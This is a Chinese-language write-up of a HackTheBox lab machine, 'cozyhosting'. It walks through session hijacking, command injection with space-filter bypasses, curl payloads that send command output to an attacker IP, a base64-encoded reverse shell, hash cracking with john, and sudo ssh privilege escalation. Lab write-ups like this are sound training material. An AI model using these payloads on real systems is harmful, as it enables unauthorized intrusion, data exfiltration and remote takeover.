添加域名
访问网站
发现了个登录框
尝试弱口令 发现失败
dirsearch 扫描的结果显示有个error页面
访问看看
这个标志明显是个spring-boot 框架
dirsearch -u http://cozyhosting.htb/ -w ./SecLists-master/SecLists-master/Discovery/Web-Content/spring-boot.txt
用spring boot专用字典扫一下
在这些路径里面我们发现在sessions里面记录了两个session 由于第一个显示的是unauthorized
所以我尝试将我们的session替换成第二个session
替换之后发现成功了
我们成功进入了页面
在输入栏里尝试命令注入
我们抓包分析
在这个输入栏里面发现不允许存在空格
经典的ctf空格绕过过滤
我总结了一下
{curl,10.10.16.4}
$IFS$9 替代空格
${IFS} 替代空格
%09 代替空格
这四种方法都可以实现命令注入
ok尝试反弹shell
查看用户名
||curl%0910.10.16.4/`whoami%09|base64`;
查看家目录有哪些用户
||curl%0910.10.16.4/`ls%09-a%09/home/|base64`;
尝试反弹shell
usertest;echo%09'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNC84MCAwPiYx'|base64%09-d|bash;
反弹成功
python3 -c 'import pty; pty.spawn("/bin/bash")'
获取完整tty
flag应该在josh用户里面
想办法提权到josh用户里面
发现本地开着8080端口 我们用socat做端口转发
./socatx64.bin -ddd TCP-LISTEN:2222,fork TCP:127.0.0.1:8080
结果发现是一样的页面
由于/app目录下有个jar包
我们来分析一下这个jar包
用jajx 文本搜索出来了 password的明文
MRdEQuv6~6P9
尝试登录
发现登录不了 josh用户
ss -lnpt
发现5432 psql端口开着
登录数据库看看
我们发现了properties文件
在
找到了psql的密码
爆破密码
john hash --wordlist=/root/Desktop/fuzz/rockyou.txt/rockyou.txt
manchesterunited
登录成功
进入提权环节
sudo -l
然后输入密码
直接搜ssh提权 https://gtfobins.github.io/gtfobins/ssh/#sudo
提权成功